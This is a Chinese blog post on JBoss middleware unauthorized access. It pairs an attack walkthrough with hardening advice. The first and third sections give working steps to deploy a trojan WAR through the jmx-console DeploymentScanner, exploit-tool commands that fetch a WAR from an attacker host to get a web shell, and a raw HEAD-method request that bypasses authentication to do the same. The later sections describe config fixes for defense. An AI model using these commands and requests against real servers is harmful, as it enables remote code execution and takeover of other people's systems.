WEB中间件--Jboss未授权访问，

Posted 2020-11-01 晓枫v5

1，Jboss未授权访问部署木马

发现存在Jboss默认页面，点进控制页

点击 Jboss.deployment 进入应用部署页面
也可以直接输入此URL进入

http://www.ctfswiki.com:8080//jmxconsole/htmlAdaptoraction=inspectMBean&name=jboss.deployment:type=DeploymentScanner,flavor=URL

搭建远程木马服务器，可以用apache等web服务器来搭建,通过addurl参数进行木马的远程部署

部署成功，访问木马地址

最后附上一个jboss未授权访问EXP，备用，使用说明

1. 查看系统名称

java -jar jboss_exploit_fat.jar -i http://www.any.com:8080/invoker/JMXInvokerServlet get jboss.system:type=ServerInfo OSName

2. 查看系统版本

java -jar jboss_exploit_fat.jar -i http://www.any.com:8080/invoker/JMXInvokerServlet get jboss.system:type=ServerInfo OSVersion


3.远程部署war

java -jar jboss_exploit_fat.jar -i http://www.any.com:8080/invoker/JMXInvokerServlet invoke jboss.system:service=MainDeployer deploy http://192.168.20.10/no.war

获得shell地址:
www.any.com:8080/no/index.jsp

2.jboss加固

（1）目录

C:\\Program Files\\Java\\jboss-4.2.3.GA\\server\\default\\deploy\\jmx-console.war\\WEB-INF
下的 jboss-web.xml
把 security-domain 注释去掉。

web.xml
把 GET 和 POST 两行注释掉，同时 security-constraint 整个部分不要注释掉,不然存在head头绕过

<security-constraint>   
      <web-resource-collection>   
             <web-resource-name>HtmlAdaptor</web-resource-name>  
             <description>An example security config that only allows users                             with the role JBossAdmin to access the HTML JMX console web         application </description>               
              <url-pattern>/*</url-pattern>   
              <!-<http-method>GET</http-method>   
                   <http-method>POST</http-method> -->  
             </web-resource-collection>   
             <auth-constraint>   
                   <role-name>JBossAdmin</role-name>   
             </auth-constraint>   
</security-constraint>  

（2）目录

C:\\Program Files\\Java\\jboss-4.2.3.GA\\server\\default\\conf\\props\\jbossws-users.properties
加上登录用户名密码

3.jboss head绕过上传

数据包

HEAD YWRtaW46YWRtaW4=/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.deployment:type=DeploymentScanner,flavor=URL&methodIndex=7&arg0=http://192.168.91.139/h.war  HTTP/1.1
Host: 192.168.91.108:8080
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Origin: http://192.168.91.108:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
DNT: 1
Referer: http://192.168.91.108:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment:type=DeploymentScanner,flavor=URL
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 4

jboss invoke接口修复

C:\\Program Files\\Java\\jboss-4.2.3.GA\\server\\default\\deploy\\http-invoker.sar\\invoker.war\\WEB-INF

server/$CONFIG/deploy/http-invoker.sar/http-invoker.war/WEB-INF/w
eb.xml 文件，将标签中的
url-pattern 修改为/*，并注释掉其中的两个 http-method。